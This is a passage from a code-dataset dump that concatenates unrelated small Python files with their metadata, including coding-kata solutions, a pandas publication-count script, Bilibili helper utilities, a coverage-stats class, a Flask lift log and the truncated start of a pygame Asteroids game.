fix_unsorted(arr, n) which will sort such array.\r\n\"\"\"\r\n\r\n\r\ndef generate_data(m, n):\r\n # generate list of consecutive diminishing integers, since it suffices\r\n # to fulfill the task constraints\r\n return list(range(m*n, 0, -1))\r\n\r\n\r\ndef fix_unsorted(arr, n):\r\n \"\"\"\r\n We use two pieces of information from the task:\r\n 1) The parts were originally internally sorted\r\n 2) All values are distinct\r\n Using the first piece of info, we sort each part (we can easily compute\r\n the m value, since len(arr) = m * n). We then have a list of \"blocks\",\r\n which we have to put in the right order. Since all values are distinct,\r\n we can base our sorting only on the first element of each part - for any\r\n part the first element will be larger than the last element of the\r\n previous part (previous i. e. after sorting). Therefore we can sort a\r\n list of tuples (first_value, index) based on first_value to get the right\r\n ordering and then use the indices to sort the parts. Note that for\r\n efficiency the implementation checks not to \"swap\" part with itself.\r\n Time complexity:\r\n First part - using the O(nlog(n)) sorting, the sorting of each of n parts\r\n internally is O(mlog(m)), givng O(mnlog(m)) in total.\r\n Second part - sorting the tuples array is O(nlog(n)) (there are as many\r\n tuples are there are parts, so n), swapping is O(n*m) (pessimistically,\r\n when we need to swap each of n parts, every one has length m), giving\r\n O(nlog(n) + m*n) in total.\r\n Overall time complexity - O(mnlog(m) + nlog(n) + mn) = O(mnlog(m))\r\n Space complexity:\r\n We need temporary array for swapping, which in Python happens \"behind the\r\n mask\", but is still there. O(m)\r\n :param arr: array given as in the task description\r\n :param n: number of parts in the array\r\n :return: sorted array\r\n \"\"\"\r\n m = len(arr) // n\r\n\r\n # sort individual parts\r\n for i in range(0, len(arr), m):\r\n arr[i:i + m] = sorted(arr[i:i + m])\r\n\r\n # put parts in right places\r\n first_elems = [(arr[i], i) for i in range(0, len(arr), m)]\r\n first_elems.sort()\r\n curr_i = 0\r\n for val, i in first_elems:\r\n # check, guards from \"swapping\" part with itself\r\n if arr[curr_i] != val:\r\n arr[curr_i:curr_i + m], arr[i:i + m] = \\\r\n arr[i:i + m], arr[curr_i:curr_i + m]\r\n curr_i += m\r\n\r\n return arr\r\n\r\n\r\nif __name__ == \"__main__\":\r\n m = 4\r\n n = 5\r\n unsorted_list = generate_data(m, n)\r\n print(\"List after \\\"unsorting\\\":\")\r\n print(unsorted_list)\r\n print(\"\\nSorted list:\")\r\n sorted_list = fix_unsorted(unsorted_list, n)\r\n print(sorted_list)\r\n","sub_path":"fix_unsorted_parts.py","file_name":"fix_unsorted_parts.py","file_ext":"py","file_size_in_byte":2906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"641536420","text":"# Pete likes to bake some cakes. He has some recipes and ingredients. \n# Unfortunately he is not good in maths. \n# Can you help him to find out, how many cakes he could bake considering his recipes?\n\n# Write a function cakes(), which takes the recipe (object) and the available ingredients (also an object) and returns the maximum number of cakes Pete can bake (integer). \n# For simplicity there are no units for the amounts (e.g. 1 lb of flour or 200 g of sugar are simply 1 or 200). \n# Ingredients that are not present in the objects, can be considered as 0.\n\n\nimport pytest\n\n\ndef cakes(recipe, available):\n\n for key, value in recipe.items():\n if key not in available:\n return 0\n \n lista = []\n\n for key, value in available.items():\n if key in recipe:\n lista.append(value // recipe[key])\n \n\n return min(lista)\n \n\ndef test_case():\n recipe = {\"flour\": 500, \"sugar\": 200, \"eggs\": 1}\n available = {\"flour\": 1200, \"sugar\": 1200, \"eggs\": 5, \"milk\": 200}\n assert cakes(recipe, available) == 2\n\n recipe = {\"apples\": 3, \"flour\": 300, \"sugar\": 150, \"milk\": 100, \"oil\": 100}\n available = {\"sugar\": 500, \"flour\": 2000, \"milk\": 2000}\n assert cakes(recipe, available) == 0","sub_path":"example_03.py","file_name":"example_03.py","file_ext":"py","file_size_in_byte":1234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"213662225","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Mar 12 13:06:48 2018\n\n@author: yuchenli\n@content: compile accumulative number of publication for each physician\n@note: replace xxxxxx with your own directory\n\"\"\"\n\n# Import packages\nimport pandas as pd\n\n# Read KOL roster, pubs_KOL is the product of combining:\n# TOP_ONCOLOGY_Existing_Data_pt1\n# TOP_ONCOLOGY_Existing_Data_pt2\n# TOP_ONCOLOGY_Existing_Data_pt3\n# TOP_ONCOLOGY_Existing_Data_pt4\nKOL_roster = pd.read_csv(\"xxxxxx/pubs_KOL.csv\", keep_default_na = False, \n encoding = 'utf-8', dtype = 'object')\n\n# Compile a list of KOL such that KOL can be marked among a group of physicians\nKOL_roster_list = set(list(KOL_roster['HBE Universal Code']))\n\n\n# Import \"Oncology_profile_year_of_birth.csv\"\nyear_of_birth = pd.read_csv(\"xxxxxx/Oncology_profile_year_of_birth.csv\", \n keep_default_na = False, \n encoding = 'utf-8', dtype = 'object')\n\n# Convert \"year_of_birth\" into \"year_of_birth_dict\", a dictionary containing\n# \"HBE_ID\" as key and \"year_of_birth\" as value\nyear_of_birth_dict = dict()\nfor i in range(len(year_of_birth)):\n key = year_of_birth.loc[i,\"HBE_ID\"]\n value = int(year_of_birth.loc[i,\"Year_of_birth\"])\n year_of_birth_dict[key] = value\n \n\n\n# Compile accumulative number of publications for \"Full_pubs_with_year\", product\n# of running \"convert_publication_date.py\"\n# Import \"Full_pubs_with_year.csv\"\ndf = pd.read_csv(\"xxxxxx/Full_pubs_with_year.csv\", \n keep_default_na = False, encoding = 'utf-8', dtype = 'object')\n\n\n \n# Make a copy of df as df_1 with less columns\ndf_1 = df.loc[:,[\"HBE Universal Code\", \"PMID\", \"Year\"]]\n\n\n# Construct a dictionary named Full_pubs_year_first_publication\n# @key: \"HBE_ID\"\n# @value: first year of publication\nFull_pubs_year_first_publication = dict()\nfor i in range(len(df_1)):\n key = df_1.loc[i,\"HBE Universal Code\"]\n value = df_1.loc[i,\"Year\"]\n if pd.isnull(value) == False:\n try: \n if (key in Full_pubs_year_first_publication):\n if (int(Full_pubs_year_first_publication[key]) > int(value)):\n Full_pubs_year_first_publication[key] = value\n else:\n Full_pubs_year_first_publication[key] = value\n except:\n continue\n\n\n# Define publication function that generate accumulative number of publication\n# since first year of publication\n# @input: benchmark: x year since first year of publication\n# name: the name of the csv file that is written to your directory\n# @output: save accumulative number of publication as csv to your directory\ndef publication(benchmark, name):\n temp = dict()\n for i in range(len(df)):\n #print(i)\n key = df.loc[i,'HBE Universal Code']\n value = df.loc[i, 'PMID']\n year = df.loc[i, 'Year']\n try: \n if (len(year) <= 4):\n first_publication_year = int(Full_pubs_year_first_publication[key])\n if ((int(year) - first_publication_year) <= benchmark):\n if key in temp:\n temp[key]['Count'] = temp[key]['Count'] + 1\n else:\n if key in KOL_roster_list:\n temp2 = {'KOL':'Yes'} \n else:\n temp2 = {'KOL':'No'}\n temp[key] = temp2\n temp[key]['Count'] = 1\n else:\n pass \n else:\n pass\n except ValueError:\n print(\"Invalid year: \" + year)\n pass\n \n import csv\n csv_name = \"xxxxxxx/\" + name + '.csv'\n with open(csv_name, \"w\", encoding = 'utf-8') as csvfile:\n column_name = \"Number_of_publication_\" + str(benchmark)\n fieldnames = ['HBE_ID', column_name, 'KOL']\n writer = csv.DictWriter(csvfile, fieldnames = fieldnames)\n writer.writeheader()\n\n for key, value in temp.items():\n writer.writerow({'HBE_ID': key, \n column_name: value['Count'],\n 'KOL': value['KOL']})\n print(name + \".csv saved!\")\n \n# Generate first 15 years of accumulative number of publication\npublication(1, \"number_of_publication_year_1\")\npublication(2, \"number_of_publication_year_2\")\npublication(3, \"number_of_publication_year_3\")\npublication(4, \"number_of_publication_year_4\")\npublication(5, \"number_of_publication_year_5\")\npublication(6, \"number_of_publication_year_6\")\npublication(7, \"number_of_publication_year_7\")\npublication(8, \"number_of_publication_year_8\")\npublication(9, \"number_of_publication_year_9\")\npublication(10, \"number_of_publication_year_10\")\npublication(11, \"number_of_publication_year_11\")\npublication(12, \"number_of_publication_year_12\")\npublication(13, \"number_of_publication_year_13\")\npublication(14, \"number_of_publication_year_14\")\npublication(15, \"number_of_publication_year_15\")\n\n\n# Combine previously generated csv files into one\n\n# Define a read_data function that import all previously generated csv files,\n# combine them and return one single dataframe\n# @input: make sure it is consist with the second input of the function: publication\n# @output: a dataframe consisting of \"HBE_ID\" and first 1 to 15 years of number\n# of publication since first year of publication\ndef read_data(list1):\n i=1\n df = pd.read_csv(\"xxxxxx/number_of_publication_year_\" + str(list1[0]) + \".csv\")\n for item in list1:\n if i==1:\n i+=1\n pass\n else:\n df_1 = pd.read_csv(\"xxxxxx/number_of_publication_year_\" + str(item) + \".csv\")\n df_1 = df_1.drop(\"KOL\", axis = 1)\n df = pd.merge(df, df_1, on = 'HBE_ID')\n \n temp_list = list()\n # Match year_of_birth\n for i in range(len(df)):\n key = df.iloc[i,0]\n if key in year_of_birth_dict:\n temp_list.append(year_of_birth_dict[key])\n else:\n temp_list.append(\"NA\")\n df['Birth_year'] = temp_list\n \n return df\n\ndf_1_15 = read_data(list({1,2,3,4,5,6,7,8,9,10,11,12,13,14,15}))\ndf_1_15.to_csv(\"xxxxxx/number_of_publication_1_15.csv\", index = False)\n","sub_path":"Final_submission/accumulative_number_of_publication.py","file_name":"accumulative_number_of_publication.py","file_ext":"py","file_size_in_byte":6269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"115924962","text":"# -*- coding: UTF-8 -*-\r\n\r\n\r\n# using-functions\r\ndef bv2av(x):\r\n alphabet = 'fZodR9XQDSUm21yCkr6zBqiveYah8bt4xsWpHnJE7jL5VG3guMTKNPAwcF'\r\n r = 0\r\n for i, v in enumerate([11, 10, 3, 8, 4, 6]):\r\n r += alphabet.find(x[v]) * 58 ** i\r\n return (r - 0x2_0840_07c0) ^ 0x0a93_b324\r\n\r\n\r\ndef av2bv(x):\r\n alphabet = 'fZodR9XQDSUm21yCkr6zBqiveYah8bt4xsWpHnJE7jL5VG3guMTKNPAwcF'\r\n x = (x ^ 0x0a93_b324) + 0x2_0840_07c0\r\n r = list('BV1**4*1*7**')\r\n for v in [11, 10, 3, 8, 4, 6]:\r\n x, d = divmod(x, 58)\r\n r[v] = alphabet[d]\r\n return ''.join(r)\r\n\r\n\r\ndef ceil(x: float) -> int:\r\n return int(x) if int(x) == x else int(x + 1)\r\n\r\n\r\ndef ReplaceByDict(string: str, replace_list: dict) -> str:\r\n for replace_str in replace_list:\r\n string = string.replace(replace_str, replace_list[replace_str])\r\n return string\r\n\r\n\r\ndef replace_for_web(string: str):\r\n ReplaceDict = {'"': '\"', '&': '&', '<': '<', '>': '>', ' ': ' '}\r\n return ReplaceByDict(string = string, replace_list = ReplaceDict)\r\n\r\n\r\ndef replace_for_highlight(string: str):\r\n return string.replace('', '<').replace('', '>')\r\n\r\n\r\ndef format_time(time_tick: 'int, float') -> str:\r\n \"\"\"\r\n 格式化时间戳为具体日期,例\\n\r\n >>> format_time(123456789)\\n\r\n >>> '1973-11-30 05:33:09'\\n\r\n :param time_tick: 时间戳\r\n :return: 具体日期\r\n \"\"\"\r\n from time import strftime, localtime\r\n return strftime('%Y-%m-%d %H:%M:%S', localtime(time_tick))\r\n\r\n\r\ndef TickToMinute(tick: int, minute_time: int = 60) -> str:\r\n \"\"\"\r\n 将时间戳转换为分:秒\\n例:\\n\r\n >>> TickToMinute(123)\\n\r\n >>> '02:03'\\n\r\n :param tick: 时间戳\r\n :param minute_time: 每分钟的时间(60)\r\n :return: 转换后的时间戳\r\n \"\"\"\r\n return f'{str((int(tick / minute_time))).zfill(2)}:{str(tick % minute_time).zfill(2)}'\r\n\r\n\r\ndef extractor(data: dict, dicts: dict = None, copy_list: list = None) -> dict:\r\n if copy_list is None:\r\n copy_list = []\r\n if dicts is None:\r\n dicts = {}\r\n try:\r\n iter(data) # 检测一个对象是否为可迭代对象,不是就返回\r\n except TypeError:\r\n return {}\r\n return_data = {}\r\n for copy in copy_list:\r\n if copy in data.keys():\r\n return_data.update({copy: data[copy]})\r\n for x in dicts: # 遍历dicts的项,获得key\r\n if type(dicts[x]) is list: # 如果key的值是一个列表,那么就递归处理\r\n for key in dicts[x]:\r\n if key in data:\r\n local = extractor(data[key], {x: dicts[x][1:] if len(dicts[x][1:]) != 1 else dicts[x][1:][0]})\r\n return_data.update(local if local else {})\r\n elif x in dicts.keys(): # 如果key的值不是列表且在data的键中,就直接键值对应\r\n if dicts[x] in data:\r\n return_data.update({x: data[dicts[x]]})\r\n else:\r\n return_data.update({x: None})\r\n return return_data\r\n\r\n\r\ndef fill(target: dict, fill_list: list, fill_object: any = None) -> dict:\r\n \"\"\"\r\n 使用列表来填充字典,例:\\n\r\n >>> fill({1:3}, [1,2,3,4], 5)\\n\r\n >>> {1:3,2:5,3:5,4:5}\\n\r\n :param target: 需要填充的字典\r\n :param fill_list: 需要填充的键的列表\r\n :param fill_object: 用于填充空键的对象(None)\r\n :return: 填充后的字典\r\n \"\"\"\r\n dictionary = target\r\n for fill_index in set(fill_list):\r\n dictionary.setdefault(fill_index, fill_object)\r\n return dictionary\r\n\r\n\r\ndef console(prefix: str = 'Console:', exit_key: str = 'EXIT_CONSOLE') -> None:\r\n \"\"\"\r\n 创建一个调试环境\\n\r\n 例:\\n\r\n >>> console(prefix = '>>> Console:')\\n\r\n >>> Console: print('hello world!')\\n\r\n >>> Console: hello world!\\n\r\n >>> Console: EXIT_CONSOLE\\n\r\n >>>\\n\r\n :param prefix: 调试环境的前缀(默认'Console: ')\r\n :param exit_key: 用于退出调试环境的命令(默认'EXIT_CONSOLE')\r\n \"\"\"\r\n from types import TracebackType\r\n while True:\r\n command = input(prefix)\r\n if command:\r\n if command == exit_key:\r\n return\r\n try:\r\n command = compile(command, 'input', 'single')\r\n exec(command)\r\n except BaseException as Error:\r\n print('Error:', Error)\r\n continue\r\n\r\n\r\n# dev-functions\r\ndef replace_for_NTFS(string: str):\r\n ReplaceDict = {'/': '-', '\\\\': '-', ':': '-', '*': '-', '<': '-', '>': '-', '?': ''}\r\n ReplaceByDict(string, ReplaceDict)\r\n return string\r\n\r\n\r\ndef requests():\r\n import requests\r\n requests.old_get = requests.get\r\n\r\n def new_get(url, params = None, **kwargs):\r\n from time import time\r\n start_time = time()\r\n print(f'Requests starts at {format_time(start_time)}. Url:{url}, Other kwargs:{params, kwargs}')\r\n response = requests.old_get(url = url, params = params, **kwargs)\r\n print(f'Response at {format_time(time())}. Time:{\"{:.3f}\".format(time() - start_time)}sec '\r\n f'Code:{response.status_code}')\r\n return response\r\n\r\n requests.get = new_get\r\n return requests\r\n\r\n\r\ndef get(url: str, headers: dict = None, decode: bool = False):\r\n from urllib.request import Request, urlopen\r\n from urllib.error import HTTPError\r\n request = Request(url = url, headers = headers if headers else {})\r\n try:\r\n req = urlopen(request)\r\n except HTTPError:\r\n return {'data': b'', 'complete': False}\r\n else:\r\n return {'data': (req.read().decode() if decode else req.read()), 'complete': True}\r\n\r\n\r\ndef simple_request_generator(init, url: str, dicts: dict, extract_data = None, header: dict = None) -> dict:\r\n from requests import get\r\n from json import loads\r\n exec(init)\r\n Data = get(url, headers = header if header else {})\r\n JsonData = loads(Data.text)\r\n return {'response_code': Data.status_code, 'return_code': JsonData['code'],\r\n **extractor(data = eval(extract_data) if extract_data else JsonData['data'], dicts = dicts)}\r\n\r\n\r\n# modules\r\nvideo_module = [\r\n 'aid', 'bvid', 'owner', 'length', 'upload_time', 'tname', 'copyright', 'introduction',\r\n 'title', 'view', 'danmaku', 'like', 'reply', 'coin', 'collect', 'share']\r\n\r\nbangumi_module = ['title', 'score', 'score_count', 'tag_list', 'view', 'danmaku', 'coin', 'start_time', 'new_ep',\r\n 'season_id', 'num', 'area', 'follower', 'finish', 'start', 'upload_time', 'introduction']\r\n\r\nuser_module = [\r\n 'name', 'level', 'uid', 'sex', 'vip', 'official', 'fans_badge',\r\n 'birthday', 'sign', 'video_count', 'fans', 'follower', 'following', 'black'\r\n]\r\n\r\nreply_module = [\r\n 'name', 'level', 'sex', 'official', 'upload_time',\r\n 'content', 'like', 'reply', 'up_like', 'up_reply', 'replies', 'progress',\r\n 'url', 'score', 'level'\r\n]\r\n","sub_path":"Plugin/tool.py","file_name":"tool.py","file_ext":"py","file_size_in_byte":6908,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"68875303","text":"\"\"\" Compute stats on runs for future analysis and write JSON reports. \"\"\"\n\nimport json\nimport logging\n\nlog = logging.getLogger(\"branchexp\")\n\nfrom branchexp.explo.tags import TagSet\n\n\nclass RunStats(object):\n \"\"\" Compute and write stats for a given run, with tag files.\n\n Attributes:\n stats: dict with tag lists and various useful informations, see below.\n all_tags: TagSet for all tags (methods and conds) added by ForceCFI\n seen_tags: TagSet for seen tags (methods and branches) seen during a run\n \"\"\"\n\n def __init__(self, all_tags_file, seen_tags_file):\n self.stats = {}\n self.all_tags = TagSet(all_tags_file)\n self.seen_tags = TagSet(seen_tags_file)\n\n self._gather_tags()\n\n def _gather_tags(self):\n \"\"\" Put all tags (seen and unseen) in a big \"tags\" dict. \"\"\"\n self.stats[\"tags\"] = {\n \"all\": { \"method\": self.all_tags.get_method_tags()\n , \"cond\": self.all_tags.get_cond_tags() },\n \"seen\": { \"method\": self.seen_tags.get_method_tags()\n , \"branch\": self.seen_tags.get_branch_tags() }\n }\n\n def find_partially_explored_cond(self):\n \"\"\" Compute the list of conditions partially explored,\n and fills the \"partially_explored\" dict \"\"\"\n cond_partially_explored = {}\n\n for cond_tag in self.stats[\"tags\"][\"all\"][\"cond\"]:\n left_branch, right_branch = cond_tag.split(\"/\")\n\n # Branch fully explored\n if ( left_branch in self.stats[\"tags\"][\"seen\"][\"branch\"]\n and right_branch in self.stats[\"tags\"][\"seen\"][\"branch\"] ):\n continue\n\n # Only explored left or right branch, add to our dict\n elif left_branch in self.stats[\"tags\"][\"seen\"][\"branch\"]:\n cond_partially_explored[left_branch] = right_branch\n elif right_branch in self.stats[\"tags\"][\"seen\"][\"branch\"]:\n cond_partially_explored[right_branch] = left_branch\n\n # Branching totally unexplored\n else:\n continue\n\n self.stats[\"partially_explored\"] = cond_partially_explored\n\n\n def compute_global_stats(self, every_seen_tags):\n self.compute_coverage(every_seen_tags)\n\n def compute_coverage(self, every_seen_tags):\n \"\"\" Compute raw code coverage, taking into account previous runs \"\"\"\n num_all_methods = len(self.stats[\"tags\"][\"all\"][\"method\"])\n num_seen_methods = len(every_seen_tags[\"method\"])\n num_all_branches = len(self.stats[\"tags\"][\"all\"][\"cond\"]) * 2\n num_seen_branches = len(every_seen_tags[\"branch\"])\n\n self.stats[\"coverage\"] = {\n \"method\": (num_seen_methods / num_all_methods) * 100.0,\n \"branch\": (num_seen_branches / num_all_branches) * 100.0,\n }\n\n def analyse_targeted_execution(self, run_params, every_seen_tags):\n \"\"\" Compute coverage of monitored tags. \"\"\"\n executed = []\n\n monitored_tags = run_params[\"monitor_tags\"]\n\n for monitored in monitored_tags:\n if ( monitored in every_seen_tags[\"method\"]\n or monitored in every_seen_tags[\"branch\"] ):\n executed.append(monitored)\n continue\n\n num_executed = len(executed)\n num_targeted = len(monitored_tags)\n if num_targeted > 0:\n coverage = (num_executed / num_targeted) * 100.0\n else:\n coverage = 0.0\n\n self.stats[\"targeted\"] = {\n \"target\": run_params[\"target\"],\n \"alert\": run_params[\"alert\"],\n \"executed\": executed,\n \"num_executed\": num_executed,\n \"num_targeted\": num_targeted,\n \"coverage\": coverage\n }\n\n\n def log_digest(self):\n \"\"\" Log a succinct summary of the stats. \"\"\"\n log.info(\"During this run:\")\n\n num_seen_methods = len(self.stats[\"tags\"][\"seen\"][\"method\"])\n num_all_methods = len(self.stats[\"tags\"][\"all\"][\"method\"])\n log.info(\"- {}/{} methods have been executed.\".format(\n num_seen_methods, num_all_methods\n ))\n\n num_seen_branches = len(self.stats[\"tags\"][\"seen\"][\"branch\"])\n num_all_branches = len(self.stats[\"tags\"][\"all\"][\"cond\"]) * 2\n log.info(\"- {}/{} conditional branches have been explored.\".format(\n num_seen_branches, num_all_branches\n ))\n\n if \"targeted\" in self.stats:\n log.info(\"Targeted instructions: {:.2f}%\".format(\n self.stats[\"targeted\"][\"coverage\"]\n ))\n log.info(\"- Effectively executed: {}\".format(\n self.stats[\"targeted\"][\"num_executed\"]\n ))\n log.info(\"- Number of targeted instructions: {}\".format(\n self.stats[\"targeted\"][\"num_targeted\"]\n ))\n\n if \"coverage\" in self.stats:\n log.info(\"Code coverage for all runs:\")\n log.info(\"- Method coverage: {:.2f}%\".format(\n self.stats[\"coverage\"][\"method\"]\n ))\n log.info(\"- Branch coverage: {:.2f}%\".format(\n self.stats[\"coverage\"][\"branch\"]\n ))\n\n def write_json(self, json_filepath):\n \"\"\" Write a JSON file of these stats. \"\"\"\n with open(json_filepath, \"w\") as json_file:\n json.dump( self.stats, json_file\n , cls = RunStatsJsonEncoder, indent = 4 )\n\n\nclass RunStatsJsonEncoder(json.JSONEncoder):\n \"\"\" Serialize to JSON more data types from our stats, like sets. \"\"\"\n\n def default(self, obj):\n if isinstance(obj, set):\n return list(obj)\n else:\n return json.JSONEncoder.default(self, obj)\n","sub_path":"grodd_old_version/BranchExplorer/branchexp/explo/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":5695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"495625186","text":"from pages.users_page import UserPage\n\n\ndef test_find_some_user(driver, fake):\n \"\"\"\n Test for checking user filtering:\n\n Steps:\n 1. Go to Users page\n 2. Filter users by some name\n 3. Check all users' names\n\n Expected:\n All filtered users on the page have a name we've sent.\n \"\"\"\n name = fake.first_name().lower()\n filtered_page = UserPage(driver).go().filter(name)\n assert all(name in user.name.lower() for user in filtered_page.all_users)\n","sub_path":"tests/test_users.py","file_name":"test_users.py","file_ext":"py","file_size_in_byte":504,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"203700214","text":"import pandas as pd \n\nalunosDIC = {'Nome':['Eduardo','Pedro','Marcos', 'Carlos'],\n 'Nota':[4, 7, 5.5, 9],\n 'Aprovado':['Não', 'Sim','Não','Sim']\n }\n\nalunosDF = pd.DataFrame(alunosDIC)\n\nprint(alunosDF.head())\n#tamano do dataframe\nprint(alunosDF.shape)\n\n#infos sobre as ver numericas, maior, menor, média\nprint(alunosDF.describe())","sub_path":"aulas/comandos-pandas.py","file_name":"comandos-pandas.py","file_ext":"py","file_size_in_byte":359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"399918686","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: Philipp Temminghoff\n\"\"\"\n\nfrom qtpy import QtWidgets\n\nfrom prettyqt import widgets\n\n\nQtWidgets.QStatusBar.__bases__ = (widgets.Widget,)\n\n\nclass StatusBar(QtWidgets.QStatusBar):\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.progress_bar = widgets.ProgressBar()\n\n def __add__(self, other):\n if isinstance(other, QtWidgets.QAction):\n self.add_action(other)\n return self\n if isinstance(other, QtWidgets.QWidget):\n self.addWidget(other)\n return self\n\n def setup_default_bar(self):\n # This is simply to show the bar\n self.progress_bar.hide()\n self.progress_bar.setRange(0, 0)\n self.progress_bar.setFixedSize(200, 20)\n self.progress_bar.setTextVisible(False)\n self.addPermanentWidget(self.progress_bar)\n\n def add_action(self, action):\n self.addAction(action)\n\n def set_color(self, color):\n self.setStyleSheet(f\"background-color: {color};\")\n\n def add_widget(self, widget, permanent=False):\n if permanent:\n self.addPermanentWidget(widget)\n else:\n self.addWidget(widget)\n\n def show_message(self, message: str, timeout=0):\n self.showMessage(message, timeout)\n\n\nif __name__ == \"__main__\":\n app = widgets.app()\n dlg = widgets.MainWindow()\n status_bar = StatusBar()\n status_bar.set_color(\"black\")\n label = widgets.Label(\"test\")\n status_bar.addWidget(label)\n status_bar.setup_default_bar()\n dlg.setStatusBar(status_bar)\n dlg.show()\n app.exec_()\n","sub_path":"prettyqt/widgets/statusbar.py","file_name":"statusbar.py","file_ext":"py","file_size_in_byte":1622,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"8478193","text":"#!/usr/bin/env python3\n# -*- coding: UTF-8 -*-\n\nfrom discord import Embed\n\nfrom config.config import CONFIG\nfrom config.permissions import PERMISSIONS\nfrom utils.functions import log\n\n\ndef calculate_permissions(PERMISSIONS=PERMISSIONS):\n permissions_integer = 0\n permissions = []\n embed = Embed(title=\"Permissions:\")\n for category, dic in PERMISSIONS.items():\n field_body = \"\"\n for permission, tup in dic.items():\n if tup[1]:\n permissions_integer += tup[0]\n permissions.append(permission)\n field_body = f\"{field_body}\\n✅ {permission}\"\n if field_body != \"\":\n embed.add_field(name=category, value=field_body)\n embed.add_field(\n name=\"Link\",\n value=\"https://discordapp.com/api/oauth2/authorize?client_id={}&permissions={}&scope=bot\".format(\n CONFIG[\"client_id\"], permissions_integer\n ),\n inline=False,\n )\n log(f\"Permissions integer: {permissions_integer}\")\n return embed\n","sub_path":"utils/permissioncalculator.py","file_name":"permissioncalculator.py","file_ext":"py","file_size_in_byte":1021,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"488747133","text":"from tcb import app, login_manager, db\nfrom .models import DBLiftsLog, DBLiftList\nfrom datetime import date, time, timedelta, datetime as dt\nfrom flask.ext.login import current_user\nfrom sqlalchemy.sql import and_, func\n\nclass Lifts():\n def add_lift(self, lift_date, lift_name, lift_weight, lift_reps, lift_notes):\n lifts = {}\n lifts['lift_date'] = lift_date\n lifts['lift_name'] = lift_name\n lifts['lift_weight'] = lift_weight\n lifts['lift_reps'] = lift_reps\n lifts['lift_notes'] = lift_notes\n \n try:\n new_lift = DBLiftsLog(current_user.uid, lifts)\n db.session.add(new_lift)\n db.session.commit()\n return True\n except:\n return False\n\n def get_lifts_by_range(self, date_start, date_end=None):\n if date_end is None:\n sqllifts = DBLiftsLog.query\\\n .filter(and_(DBLiftsLog.uid==current_user.uid, DBLiftsLog.lift_date>=date_start))\\\n .order_by(DBLiftsLog.lift_date.desc()).all()\n else:\n sqllifts = DBLiftsLog.query\\\n .filter(and_(DBLiftsLog.uid==current_user.uid, DBLiftsLog.lift_date>=date_start, DBLiftsLog.lift_date<=date_end))\\\n .order_by(DBLiftsLog.lift_date.desc()).all()\n \n return sqllifts\n \n def get_all_lifts(self):\n return DBLiftsLog.query.filter(DBLiftsLog.uid==current_user.uid)\\\n .order_by(DBLiftsLog.lift_date.desc()).all()\n \n def get_bests_of_lift(self, lift_in):\n sql_lift = lift_in.replace('_', ' ').lower();\n try:\n lift_list = DBLiftList.query.filter(DBLiftList.lift_name == sql_lift).one()\n sqllifts = DBLiftsLog.query\\\n .filter(and_(DBLiftsLog.uid==current_user.uid, DBLiftsLog.lift_name == lift_list.lift_name))\\\n .order_by(DBLiftsLog.lift_date.desc()).all()\n return sqllifts\n except:\n return False\n \n def get_bests_by_lift(self):\n sqllifts = DBLiftsLog.query\\\n .filter(DBLiftsLog.uid==current_user.uid)\\\n .group_by(DBLiftsLog.lift_name)\\\n .order_by(DBLiftsLog.lift_weight.desc()).all()\n return sqllifts\n \n def lifts_by_day(self, dtg_in):\n dtg_out = dt.strptime(dtg_in, '%Y-%m-%d')\n return self.get_lifts_by_range(dtg_out)\n\n def lifts_this_month(self):\n today = date.today()\n last_month = today - timedelta(weeks=4)\n return self.get_lifts_by_range(last_month, today)\n \n def lifts_this_week(self):\n today = date.today()\n this_week = today - timedelta(days=7)\n return self.get_lifts_by_range(this_week, today)","sub_path":"tcb/lifts.py","file_name":"lifts.py","file_ext":"py","file_size_in_byte":2841,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"457371636","text":"'''\nSort a linked list in O(n log n) time using constant space complexity.\n\nExample 1:\nInput: 4->2->1->3\nOutput: 1->2->3->4\n\nExample 2:\nInput: -1->5->3->4->0\nOutput: -1->0->3->4->5\n'''\n\n# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n def sortList(self, head: ListNode) -> ListNode:\n nums = []\n p = head\n while p:\n nums.append(p.val)\n p = p.next\n nums.sort()\n p = head\n for n in nums:\n p.val = n\n p = p.next\n return head\n# Runtime: 80 ms, faster than 99.91% of Python3 online submissions for Sort List.\n# Memory Usage: 20.5 MB, less than 91.55% of Python3 online submissions for Sort List.\n","sub_path":"101-200/148. Sort List.py","file_name":"148. Sort List.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"634980680","text":"import pygame\r\nimport time\r\nimport math\r\nimport random\r\n\r\n\r\npygame.init()\r\n\r\nwhite = (255,255,255)\r\nblack = (0,0,0)\r\nred = (255,0,0)\r\nbright_red = (200,0,0)\r\ngreen = (0,255,0)\r\nbright_green = (0,200,0)\r\nblue = (0,0,255)\r\n\r\nscreen_width = 800\r\nscreen_height = 600\r\n\r\n\r\ngame_Display = pygame.display.set_mode((screen_width,screen_height))\r\npygame.display.set_caption('Asteroids')\r\nclock = pygame.time.Clock()\r\n\r\n\r\n\r\n\r\ndef objects(thingx, thingy, radius):\r\n pygame.draw.circle(game_Display, (0,0,0),[thingx, thingy], radius)\r\n\r\n\r\ndef text_objects(text,font):\r\n textSurface = font.render(text, True, black)\r\n return textSurface, textSurface.get_rect()\r\n\r\ndef message_display(text):\r\n largeText = pygame.font.Font('freesansbold.ttf',115)\r\n TextSurf, TextRect = 